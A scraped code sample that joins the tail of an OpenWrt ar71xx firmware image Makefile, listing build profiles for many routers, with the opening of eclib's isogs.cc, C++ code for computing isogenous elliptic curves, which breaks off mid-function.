Image/Build/Template/128k/squashfs $(call Image/Build/$(1),squashfs,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/128k/jffs2-128k $(call Image/Build/$(1),jffs2-128k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/256k/squashfs $(call Image/Build/$(1),squashfs,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef define Image/Build/Template/256k/jffs2-256k $(call Image/Build/$(1),jffs2-256k,$(2),$(3),$(4),$(5),$(6),$(7),$(8)) endef $(eval $(call SingleProfile,ALFA,$(fs_64k),ALFANX,alfa-nx,ALFA-NX,ttyS0,115200,$$(alfa_mtdlayout_8M),1638400,6291456,vmlinux.gz.uImage,pb9x-2.6.31-jffs2)) $(eval $(call SingleProfile,ALFA,$(fs_64k),HORNETUB,hornet-ub,HORNET-UB,ttyATH0,115200,$$(alfa_mtdlayout_8M),1638400,6291456,kernel_image,rootfs_image)) $(eval $(call SingleProfile,AthGzip,$(fs_64k),AP81,ap81,AP81,ttyS0,115200,,1310720,6619136,KRuImage)) $(eval $(call SingleProfile,AthGzip,$(fs_64k),AP83,ap83,AP83,ttyS0,115200,,1310720,6619136,KRuImage)) $(eval $(call SingleProfile,AthGzip,$(fs_64k),AP96,ap96,AP96,ttyS0,115200,$$(ap96_mtdlayout),1769472,6291456,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),ALFAAP96,alfa-ap96,ALFA-AP96,ttyS0,115200,$$(alfa_ap96_mtdlayout),2097152,13631488,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),ALL0258N,all0258n,ALL0258N,ttyS0,115200,$$(all0258n_mtdlayout),1048576,5373952,KRuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_256k),ALL0315N,all0315n,ALL0315N,ttyS0,115200,$$(all0315n_mtdlayout),1048576,12845056,KRuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP113,ap113,AP113,ttyS0,115200,$$(ap113_mtd_layout),917504,3080192,RK)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP121_2M,ap121-2M,AP121,ttyATH0,115200,$$(ap121_mtdlayout_2M),720896,1245184,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP121_4M,ap121-4M,AP121,ttyATH0,115200,$$(ap121_mtdlayout_4M),917504,2818048,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP121MINI,ap121-mini,AP121-MINI,ttyATH0,115200,$$(ap121_mtdlayout_4M),917504,2818048,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP132,ap132,AP132,ttyS0,115200,$$(ap132_mtdlayout),1441792,6553600,KRuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP135,ap135-020,AP135-020,ttyS0,115200,$$(ap135_mtdlayout),1441792,6488064,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP136_010,ap136-010,AP136-010,ttyS0,115200,$$(ap136_mtdlayout),1441792,6488064,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),AP136_020,ap136-020,AP136-020,ttyS0,115200,$$(ap136_mtdlayout),1441792,6488064,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),CAP4200AG,cap4200ag,CAP4200AG,ttyS0,115200,$$(cap4200ag_mtdlayout),1572864,12386304,KRuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),DB120,db120,DB120,ttyS0,115200,$$(db120_mtdlayout),1441792,6488064,RKuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),EWDORINAP,ew-dorin,EW-DORIN,ttyATH0,115200,$$(ew-dorin_mtdlayout_4M),1048576,2752512,KRuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),EWDORINRT,ew-dorin-router,EW-DORIN-ROUTER,ttyATH0,115200,$$(ew-dorin_mtdlayout_4M),1048576,2752512,KRuImage)) $(eval $(call SingleProfile,AthLzma,$(fs_64k),PB92,pb92,PB92,ttyS0,115200,$$(pb92_mtdlayout),917504,2818048,KRuImage)) $(eval $(call SingleProfile,Cameo7240,$(fs_64k),DIR600A1,dir-600-a1,DIR-600-A1,ttyS0,115200,"AP91-AR7240-RT-090223-00")) $(eval $(call SingleProfile,Cameo7240,$(fs_64k),DIR601A1,dir-601-a1,DIR-600-A1,ttyS0,115200,"AP91-AR7240-RT-090223-02")) $(eval $(call SingleProfile,Cameo7240,$(fs_64k),DIR615E4,dir-615-e4,DIR-615-E4,ttyS0,115200,"AP99-AR7240-RT-091105-05")) $(eval $(call SingleProfile,Cameo7240,$(fs_64k),FR54RTR,fr-54rtr,DIR-600-A1,ttyS0,115200,"AP91-AR7240-RT-090223-01")) $(eval $(call SingleProfile,Cameo913x,$(fs_squash),A02RBW300N,a02-rb-w300n,TEW-632BRP,ttyS0,115200,"AP81-AR9130-RT-070614-03")) $(eval $(call SingleProfile,Cameo913x,$(fs_squash),DIR615C1,dir-615-c1,DIR-615-C1,ttyS0,115200,"AP81-AR9130-RT-070614-02")) $(eval $(call SingleProfile,Cameo913x,$(fs_squash),TEW632BRP,tew-632brp,TEW-632BRP,ttyS0,115200,"AP81-AR9130-RT-070614-00")) $(eval $(call SingleProfile,Cameo913x,$(fs_squash),TEW652BRP_FW,tew-652brp,TEW-632BRP,ttyS0,115200,"AP81-AR9130-RT-080609-05")) $(eval $(call SingleProfile,Cameo913x,$(fs_squash),TEW652BRP_RECOVERY,tew-652brp-recovery,TEW-632BRP,ttyS0,115200,"AP81-AR9130-RT-070614-02")) $(eval $(call SingleProfile,Cameo933x,$(fs_squash),TEW712BR,tew-712br,TEW-712BR,ttyATH0,115200,"HORNET-RT-TEW712BR-3")) $(eval $(call SingleProfile,Cameo934x,$(fs_64k),DIR825C1,dir-825-c1,DIR-825-C1,ttyS0,115200,"00DB120AR9344-RT-101214-00")) $(eval $(call SingleProfile,CyberTAN,$(fs_64k),WRT160NL,wrt160nl,WRT160NL,ttyS0,115200,1.00.01)) $(eval $(call SingleProfile,DIR825B1,$(fs_64k),DIR825B1,dir-825-b1,DIR-825-B1,ttyS0,115200,01AP94-AR7161-RT-080619-00,00AP94-AR7161-RT-080619-00)) $(eval $(call SingleProfile,DIR825B1,$(fs_64k),TEW673GRU,tew-673gru,TEW-673GRU,ttyS0,115200,01AP94-AR7161-RT-080619-01,00AP94-AR7161-RT-080619-01)) $(eval $(call SingleProfile,DLRTDEV,$(fs_64k),DLRTDEV01,dlrtdev01,DIR-825-B1,ttyS0,115200,01AP94-AR7161-RT-080619-00,00AP94-AR7161-RT-080619-00)) $(eval $(call SingleProfile,MyLoader,$(fs_64k),WP543_2M,wp543,,ttyS0,115200,0x200000,2M)) $(eval $(call SingleProfile,MyLoader,$(fs_64k),WP543_4M,wp543,,ttyS0,115200,0x400000,4M)) $(eval $(call SingleProfile,MyLoader,$(fs_64k),WP543_8M,wp543,,ttyS0,115200,0x800000,8M)) $(eval $(call SingleProfile,MyLoader,$(fs_64k),WP543_16M,wp543,,ttyS0,115200,0x1000000,16M)) $(eval $(call SingleProfile,MyLoader,$(fs_64k),WPE72_4M,wpe72,,ttyS0,115200,0x400000,4M)) $(eval $(call SingleProfile,MyLoader,$(fs_64k),WPE72_8M,wpe72,,ttyS0,115200,0x800000,8M)) $(eval $(call SingleProfile,MyLoader,$(fs_64k),WPE72_16M,wpe72,,ttyS0,115200,0x1000000,16M)) $(eval $(call SingleProfile,Netgear,$(fs_64k),WNDR3700V1,wndr3700,WNDR3700,ttyS0,115200,$$(wndr3700_mtdlayout),3700,WNDR3700,"" NA,)) $(eval $(call SingleProfile,Netgear,$(fs_64k),WNDR3700V2,wndr3700v2,WNDR3700,ttyS0,115200,$$(wndr3700v2_mtdlayout),3701,WNDR3700v2,"",-H 29763654+16+64)) $(eval $(call SingleProfile,Netgear,$(fs_64k),WNDR3800,wndr3800,WNDR3700,ttyS0,115200,$$(wndr3700v2_mtdlayout),3701,WNDR3800,"",-H 29763654+16+128)) $(eval $(call SingleProfile,Netgear,$(fs_64k),WNDRMAC,wndrmac,WNDR3700,ttyS0,115200,$$(wndr3700v2_mtdlayout),3701,WNDRMAC,"",-H 29763654+16+64)) $(eval $(call SingleProfile,Netgear,$(fs_64k),WNDRMACV2,wndrmacv2,WNDR3700,ttyS0,115200,$$(wndr3700v2_mtdlayout),3701,WNDRMACv2,"",-H 29763654+16+128)) $(eval $(call SingleProfile,NetgearNAND,$(fs_64k),WNDR4300,wndr4300,WNDR4300,ttyS0,115200,$$(wndr4300_mtdlayout),3703,WNDR4300,"",-H 29763948+0+128+128+2x2+3x3)) $(eval $(call SingleProfile,OpenMesh,$(fs_squash),OM2P,om2p,,,,OM2P)) $(eval $(call SingleProfile,OpenMesh,$(fs_squash),MR600,mr600,,,,MR600)) $(eval $(call SingleProfile,PB4X,$(fs_128k),ALL0305,all0305,ALL0305,ttyS0,115200)) $(eval $(call SingleProfile,PB4X,$(fs_128k),EAP7660D,eap7660d,EAP7660D,ttyS0,115200)) $(eval $(call SingleProfile,PB4X,$(fs_64k),JA76PF,ja76pf,JA76PF,ttyS0,115200)) $(eval $(call SingleProfile,PB4X,$(fs_64k),JA76PF2,ja76pf2,JA76PF2,ttyS0,115200)) $(eval $(call SingleProfile,PB4X,$(fs_64k),JWAP003,jwap003,JWAP003,ttyS0,115200)) $(eval $(call SingleProfile,PB4X,$(fs_64k),PB42,pb42,PB42,ttyS0,115200)) $(eval $(call SingleProfile,PB4X,$(fs_64k),PB44,pb44,PB44,ttyS0,115200)) $(eval $(call SingleProfile,Planex,$(fs_64k),MZKW04NU,mzk-w04nu,MZK-W04NU,ttyS0,115200)) $(eval $(call SingleProfile,Planex,$(fs_64k),MZKW300NH,mzk-w300nh,MZK-W300NH,ttyS0,115200)) $(eval $(call SingleProfile,TPLINKOLD,$(fs_squash),TLWR841NV15,tl-wr841nd-v1.5,TL-WR841N-v1.5,ttyS0,115200,0x08410002,2,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLMR3220V1,tl-mr3220-v1,TL-MR3220,ttyS0,115200,0x32200001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLMR3420,tl-mr3420-v1,TL-MR3420,ttyS0,115200,0x34200001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWA701,tl-wa701n-v1,TL-WA901ND,ttyS0,115200,0x07010001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWA7510NV1,tl-wa7510n,TL-WA7510N,ttyS0,115200,0x75100001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWA801NV1,tl-wa801nd-v1,TL-WA901ND,ttyS0,115200,0x08010001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWA901NV1,tl-wa901nd-v1,TL-WA901ND,ttyS0,115200,0x09010001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWA901NV2,tl-wa901nd-v2,TL-WA901ND-v2,ttyS0,115200,0x09010002,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR740NV1,tl-wr740n-v1,TL-WR741ND,ttyS0,115200,0x07400001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR740NV3,tl-wr740n-v3,TL-WR741ND,ttyS0,115200,0x07400003,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR741NV1,tl-wr741nd-v1,TL-WR741ND,ttyS0,115200,0x07410001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR741NV2,tl-wr741nd-v2,TL-WR741ND,ttyS0,115200,0x07410001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR743NV1,tl-wr743nd-v1,TL-WR741ND,ttyS0,115200,0x07430001,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR841NV3,tl-wr841nd-v3,TL-WR941ND,ttyS0,115200,0x08410003,3,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR841NV5,tl-wr841nd-v5,TL-WR741ND,ttyS0,115200,0x08410005,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR841NV7,tl-wr841nd-v7,TL-WR841N-v7,ttyS0,115200,0x08410007,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR842,tl-wr842n-v1,TL-MR3420,ttyS0,115200,0x08420001,1,8M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR941NV2,tl-wr941nd-v2,TL-WR941ND,ttyS0,115200,0x09410002,2,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR941NV3,tl-wr941nd-v3,TL-WR941ND,ttyS0,115200,0x09410002,2,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR941NV4,tl-wr941nd-v4,TL-WR741ND,ttyS0,115200,0x09410004,1,4M)) $(eval $(call SingleProfile,TPLINK,$(fs_64kraw),TLWR1043,tl-wr1043nd-v1,TL-WR1043ND,ttyS0,115200,0x10430001,1,8M)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLMR11U,tl-mr11u-v1,TL-MR11U,ttyATH0,115200,0x00110101,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLMR3020,tl-mr3020-v1,TL-MR3020,ttyATH0,115200,0x30200001,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLMR3040,tl-mr3040-v1,TL-MR3040,ttyATH0,115200,0x30400001,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLMR3220V2,tl-mr3220-v2,TL-MR3220-v2,ttyATH0,115200,0x32200002,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWR703,tl-wr703n-v1,TL-WR703N,ttyATH0,115200,0x07030101,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWR740NV4,tl-wr740n-v4,TL-WR741ND-v4,ttyATH0,115200,0x07400004,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWR741NV4,tl-wr741nd-v4,TL-WR741ND-v4,ttyATH0,115200,0x07410004,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWR743NV2,tl-wr743nd-v2,TL-WR741ND-v4,ttyATH0,115200,0x07430002,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWR841NV8,tl-wr841n-v8,TL-WR841N-v8,ttyS0,115200,0x08410008,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWR1041,tl-wr1041n-v2,TL-WR1041N-v2,ttyS0,115200,0x10410002,1,4Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWR2543,tl-wr2543-v1,TL-WR2543N,ttyS0,115200,0x25430001,1,8Mlzma,-v 3.13.99)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWDR3500V1,tl-wdr3500-v1,TL-WDR3500,ttyS0,115200,0x35000001,1,8Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWDR3600V1,tl-wdr3600-v1,TL-WDR4300,ttyS0,115200,0x36000001,1,8Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWDR4300V1,tl-wdr4300-v1,TL-WDR4300,ttyS0,115200,0x43000001,1,8Mlzma)) $(eval $(call SingleProfile,TPLINK-LZMA,$(fs_64kraw),TLWDR4310V1,tl-wdr4310-v1,TL-WDR4300,ttyS0,115200,0x43100001,1,8Mlzma)) $(eval $(call SingleProfile,UAPPRO,$(fs_64k),UAPPRO,ubnt-uap-pro,UAP-PRO,ttyS0,115200,BZ,BZ,ar934x)) $(eval $(call SingleProfile,UBDEV,$(fs_64k),UBDEV01,ubdev01,UBNT-UF,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,UBNT,$(fs_64k),UBNTRS,ubnt-rs,UBNT-RS,ttyS0,115200,RS,RSx,ar7100)) $(eval $(call SingleProfile,UBNT,$(fs_64k),UBNTRSPRO,ubnt-rspro,UBNT-RSPRO,ttyS0,115200,RSPRO,RSPRO,ar7100pro)) $(eval $(call SingleProfile,UBNT,$(fs_64k),UBNTLSSR71,ubnt-ls-sr71,UBNT-LS-SR71,ttyS0,115200,LS-SR71,LS-SR71,ar7100)) $(eval $(call SingleProfile,UBNTXM,$(fs_64k),RW2458N,rw2458n,RW2458N,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,UBNTXM,$(fs_64k),UBNTAIRROUTER,ubnt-airrouter,UBNT-AR,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,UBNTXM,$(fs_64k),UBNTBULLETM,ubnt-bullet-m,UBNT-BM,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,UBNTXM,$(fs_64k),UBNTROCKETM,ubnt-rocket-m,UBNT-RM,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,UBNTXM,$(fs_64k),UBNTNANOM,ubnt-nano-m,UBNT-NM,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,UBNTXM,$(fs_64k),UBNTUNIFI,ubnt-unifi,UBNT-UF,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,UBNTXM,$(fs_64k),UBNTUNIFIOUTDOOR,ubnt-unifi-outdoor,UBNT-U20,ttyS0,115200,XM,XM,ar7240)) $(eval $(call SingleProfile,WHRHPG300N,$(fs_64k),WHRG301N,whr-g301n,WHR-G301N,ttyS0,115200,$$(whrhpg300n_mtdlayout),WHR-G301N)) $(eval $(call SingleProfile,WHRHPG300N,$(fs_64k),WHRHPG300N,whr-hp-g300n,WHR-HP-G300N,ttyS0,115200,$$(whrhpg300n_mtdlayout),WHR-HP-G300N)) $(eval $(call SingleProfile,WHRHPG300N,$(fs_64k),WHRHPGN,whr-hp-gn,WHR-HP-GN,ttyS0,115200,$$(whrhpg300n_mtdlayout),WHR-HP-GN)) $(eval $(call SingleProfile,WHRHPG300N,$(fs_64k),WLAEAG300N,wlae-ag300n,WLAE-AG300N,ttyS0,115200,$$(whrhpg300n_mtdlayout),WLAE-AG300N)) $(eval $(call SingleProfile,WRT400N,$(fs_64k),WRT400N,wrt400n,WRT400N,ttyS0,115200)) $(eval $(call SingleProfile,WZRHPG30XNH,$(fs_128k),WZRHPG300NH,wzr-hp-g300nh,WZR-HP-G300NH,ttyS0,115200,WZR-HP-G300NH)) $(eval $(call SingleProfile,WZRHPG30XNH,$(fs_64k),WZRHPG300NH2,wzr-hp-g300nh2,WZR-HP-G300NH2,ttyS0,115200,WZR-HP-G300NH2)) $(eval $(call SingleProfile,WZRHPG30XNH,$(fs_64k),WZRHPAG300H,wzr-hp-ag300h,WZR-HP-AG300H,ttyS0,115200,WZR-HP-AG300H)) $(eval $(call SingleProfile,WZRHPG30XNH,$(fs_64k),WZRHPG450H,wzr-hp-g450h,WZR-HP-G450H,ttyS0,115200,WZR-HP-AG450H)) $(eval $(call SingleProfile,Zcomax,$(fs_64k),ZCN1523H28,zcn-1523h-2-8,ZCN-1523H-2,ttyS0,115200,$$(zcn1523h_mtdlayout))) $(eval $(call SingleProfile,Zcomax,$(fs_64k),ZCN1523H516,zcn-1523h-5-16,ZCN-1523H-5,ttyS0,115200,$$(zcn1523h_mtdlayout))) $(eval $(call SingleProfile,ZyXEL,$(fs_64k),NBG_460N_550N_550NH,nbg460n_550n_550nh,NBG460N,ttyS0,115200,NBG-460N)) $(eval $(call MultiProfile,AP121,AP121_2M AP121_4M)) $(eval $(call MultiProfile,AP136,AP136_010 AP136_020)) $(eval $(call MultiProfile,EWDORIN, EWDORINAP EWDORINRT)) $(eval $(call MultiProfile,OPENMESH,OM2P MR600)) $(eval $(call MultiProfile,TEW652BRP,TEW652BRP_FW TEW652BRP_RECOVERY)) $(eval $(call MultiProfile,TLMR3220,TLMR3220V1 TLMR3220V2)) $(eval $(call MultiProfile,TLWA801,TLWA801NV1)) $(eval $(call MultiProfile,TLWA901,TLWA901NV1 TLWA901NV2)) $(eval $(call MultiProfile,TLWA7510,TLWA7510NV1)) $(eval $(call MultiProfile,TLWR740,TLWR740NV1 TLWR740NV3 TLWR740NV4)) $(eval $(call MultiProfile,TLWR741,TLWR741NV1 TLWR741NV2 TLWR741NV4)) $(eval $(call MultiProfile,TLWR743,TLWR743NV1 TLWR743NV2)) $(eval $(call MultiProfile,TLWR841,TLWR841NV15 TLWR841NV3 TLWR841NV5 TLWR841NV7 TLWR841NV8)) $(eval $(call MultiProfile,TLWR941,TLWR941NV2 TLWR941NV3 TLWR941NV4)) $(eval $(call MultiProfile,TLWDR4300,TLWDR3500V1 TLWDR3600V1 TLWDR4300V1 TLWDR4310V1)) $(eval $(call MultiProfile,UBNT,UBNTAIRROUTER UBNTRS UBNTRSPRO UBNTLSSR71 UBNTBULLETM UBNTROCKETM UBNTNANOM UBNTUNIFI UBNTUNIFIOUTDOOR UAPPRO)) $(eval $(call MultiProfile,WNDR3700,WNDR3700V1 WNDR3700V2 WNDR3800 WNDRMAC WNDRMACV2)) $(eval $(call MultiProfile,WP543,WP543_2M WP543_4M WP543_8M WP543_16M)) $(eval $(call MultiProfile,WPE72,WPE72_4M WPE72_8M WPE72_16M)) $(eval $(call MultiProfile,Default,$(SINGLE_PROFILES))) $(eval $(call MultiProfile,Minimal,$(SINGLE_PROFILES))) $(eval $(call MultiProfile,Madwifi,EAP7660D UBNTRS UBNTRSPRO UBNTLSSR71 WP543)) define Image/Build/squashfs cp $(KDIR)/root.squashfs $(KDIR)/root.squashfs-raw cp $(KDIR)/root.squashfs $(KDIR)/root.squashfs-64k $(STAGING_DIR_HOST)/bin/padjffs2 $(KDIR)/root.squashfs-64k 64 cp $(KDIR)/root.squashfs-64k $(BIN_DIR)/$(IMG_PREFIX)-root.squashfs-64k $(call prepare_generic_squashfs,$(KDIR)/root.squashfs) endef define Image/Build/Initramfs $(call Image/Build/Profile/$(PROFILE),initramfs) endef define Image/Prepare gzip -9 -c $(KDIR)/vmlinux > $(KDIR)/vmlinux.bin.gz $(call CompressLzma,$(KDIR)/vmlinux,$(KDIR)/vmlinux.bin.lzma) $(call Image/BuildLoader,generic,elf) $(call Image/Build/Profile/$(if $(CONFIG_IB),Default,$(PROFILE)),loader) endef define Image/Build $(call Image/Build/$(1)) dd if=$(KDIR)/root.$(1) of=$(BIN_DIR)/$(IMG_PREFIX)-root.$(1) bs=128k conv=sync $(call Image/Build/Profile/$(PROFILE),$(1)) endef $(eval $(call BuildImage))
Pteridium/ARV4518PW-ARV7518PW-OWRT
target/linux/ar71xx/image/Makefile
Makefile
gpl-2.0
46,441
// isogs.cc: implementation of class IsogenyClass and related functions ////////////////////////////////////////////////////////////////////////// // // Copyright 1990-2012 John Cremona // // This file is part of the eclib package. // // eclib is free software; you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by the // Free Software Foundation; either version 2 of the License, or (at your // option) any later version. // // eclib is distributed in the hope that it will be useful, but WITHOUT // ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or // FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License // for more details. // // You should have received a copy of the GNU General Public License // along with eclib; if not, write to the Free Software Foundation, // Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA // ////////////////////////////////////////////////////////////////////////// #include <eclib/isogs.h> #include <eclib/points.h> #define DEBUG #ifdef MPFP #define EPS1 0.0001 #else #define EPS1 0.1 // slower than 0.001 but doesn't miss so many isogenies // when in ordinary double precision... #endif #define close(x,y,e) (abs((x)-(y))<(e)) vector<CurveRed> lisog(const CurveRed& CR, Cperiods& cp, long ell, int verbose) //INPUT: a curve of type CurveRed, so we know its invariants & conductor // the periods of the curve in a Cperiods type // a prime ell (primality not checked) //OUTPUT: an array of the curves isogenous to the given curve (possibly empty) { if(ell==2) return twoisog(CR,verbose); if(ell==3) return threeisog(CR,verbose); bigcomplex x,X,y,Y,z; bigint a1,a2,a3,a4,a6, b2,b4,b6,b8; CR.getai(a1,a2,a3,a4,a6); CR.getbi(b2,b4,b6,b8); bigfloat ra1=I2bigfloat(a1),ra2=I2bigfloat(a2),ra3=I2bigfloat(a3), ra4=I2bigfloat(a4),ra6=I2bigfloat(a6), rb2=I2bigfloat(b2),rb4=I2bigfloat(b4),rb6=I2bigfloat(b6); // b8 isn't used if (verbose>1) cout<<"\nra1: "<<ra1<<"\tra2: "<<ra2<<"\tra3: "<<ra3<<"\tra4: "<<ra4<<"\tra6: "<<ra6<<"\nrb2: "<<rb2<<"\trb4: "<<rb4<<"\trb6: "<<rb6<<endl; bigint conductor = getconductor(CR); bigcomplex w1, w2; cp.getwi(w1, w2); int type = cp.getwRI(w1,w2); long subgroup, nsubgroups; if (ell==2) { if (type==1) nsubgroups = 1; else nsubgroups = 3; } else nsubgroups = 2; // Now nsubgroups is the number of subgroups of C/L of index ell // defined over R vector<CurveRed> ans; // other loop variables: bigcomplex t, w, ti, ui; bigint ell1, ad4, ad6, lad4, lad6; bigfloat rad4, rad6; bigfloat xell(to_bigfloat(ell)); static bigfloat two(to_bigfloat(2)); static bigfloat three(to_bigfloat(3)); static bigfloat four(to_bigfloat(4)); static bigfloat five(to_bigfloat(5)); static bigfloat six(to_bigfloat(6)); static bigfloat seven(to_bigfloat(7)); ell1 = ell; bigint ell2 = sqr(ell1); bigint ell3 = ell1*ell2; bigint ell4 = ell2*ell2; bigint ell6 = ell2*ell4; for (subgroup = 1; subgroup <= nsubgroups; subgroup++) { if (ell==2) { if (subgroup==1) z = w1/two; else if (subgroup==2) z = w2/two; else z = (w1 + w2)/two; } else { if (subgroup==1) z = w1/xell; else if (type==1) z = (w1 - w2 - w2)/xell; else z = w2/xell; } t = w = to_bigfloat(0); if (verbose>1) cout<<"Subgroup: "<<subgroup<<": z = "<<z<<endl; long iz, ilim; if (ell==2) ilim = 1; else ilim = (ell - 1)/2; for (iz=1; iz <= ilim; iz++) { cp.XY_coords(X, Y, to_bigfloat(iz)*z); if(ell==2) Y=to_bigfloat(0); // fix to avoid q(z)=-q(tau) awkward case //Must convert from Y^2=4X^3 + ... model to our minimal model: x = X - (ra1*ra1 + 4*ra2)/12; y = (Y - ra1*x - ra3)/two; if (verbose>2) cout<<"i = "<<iz<<": i*z = " << to_bigfloat(iz)*z << "\n x = "<<x<<"\n y = "<<y<<endl ; if (ell==2) ti = three*x*x + two*ra2*x + ra4 - ra1*y; else ti = six*x*x + rb2*x + rb4; ui = four*x*x*x + rb2*x*x + two*rb4*x + rb6; t += ti; w += ui + x*ti; } if (verbose>1) cout<<"t = "<<t<<";\tw = "<<w<<endl; rad4 = ra4 - five*real(t); rad6 = ra6 - rb2*real(t) - seven*real(w); if (verbose>1) cout<<"new a4: "<<rad4<<"\tnew a6: "<<rad6<<endl; ad4 = Iround(rad4); ad6 = Iround(rad6); if (verbose>1) cout<<"bigint values are "<<ad4<<" and "<<ad6<<endl; if ( close(I2bigfloat(ad4) , rad4 , EPS1) && close(I2bigfloat(ad6) , rad6 , EPS1) ) { Curve newcurve(a1,a2,a3,ad4,ad6); if(verbose>0) cout << "Testing curve " << newcurve << endl; Curvedata newCD(newcurve,1); if ((Curve)CR == (Curve)newCD) continue; // cout<<" ## Warning! curve possibly "<<ell<<"-isogenous to itself"<<endl; else { CurveRed newCR(newCD); if (conductor==getconductor(newCR)) { ans.push_back(newCR); if (verbose>1) cout<<"new curve:\n"<<(Curve)newCD<<endl; } } } else { if(verbose>1) cout << "Not close enough\n"; rad4 = rad4*I2bigfloat(ell4); rad6 = rad6*I2bigfloat(ell6); if (verbose>1) cout<<"new a4: "<<rad4<<"\tnew a6: "<<rad6<<endl; lad4 = Iround(rad4); lad6 = Iround(rad6); if (verbose>1) cout<<"bigint values are "<<lad4<<" and "<<lad6<<endl; if ( close(I2bigfloat(lad4) , rad4 , EPS1) && close(I2bigfloat(lad6) , rad6 , EPS1) ) { Curve newcurve(ell*a1,ell2*a2,ell3*a3,lad4,lad6); if(verbose>0) cout << "Testing curve " << newcurve << endl; Curvedata newCD(newcurve,1); if ((Curve)CR == (Curve)newCD) cout<<" ## Warning! curve possibly "<<ell<<"-isogenous to itself"<<endl; else { CurveRed newCR(newCD); if (conductor==getconductor(newCR)) { ans.push_back(newCR); if (verbose>1) cout<<"new curve:\n"<<(Curve)newCD<<endl; } } } else if(verbose>1) cout << "Not close enough\n"; } } // ends for-loop return ans; } int semistable(const CurveRed& CR) { int ans=1; vector<bigint> plist = getbad_primes(CR); vector<bigint>::iterator pvar = plist.begin(); while(pvar!=plist.end()) if(getord_p_N(CR,*pvar++)>1) return 0; return ans; } int comprat(const bigint& n1, const bigint& d1, const bigint& n2, const bigint& d2) { return n1*d2==n2*d1; } vector<long> getelllist(const CurveRed& CR) { static const bigint j11a = BIGINT(-32768); static const bigint j11b = BIGINT(-121); static const bigint j11c = BIGINT(-24729001); static const bigint nj17a = BIGINT(-297756989); static const bigint dj17a = BIGINT(2); static const bigint nj17b = BIGINT(-882216989); static const bigint dj17b = BIGINT(131072); static const bigint j37a = BIGINT(-9317); static const bigint j37b = atoI("-162677523113838677"); static const bigint j19 = BIGINT(-884736); static const bigint j43 = BIGINT(-884736000); static const bigint j67 = atoI("-147197952000"); static const bigint j163 = atoI("-262537412640768000"); static const bigint one = BIGINT(1); vector<long> ans; ans.reserve(4); ans.push_back(2); 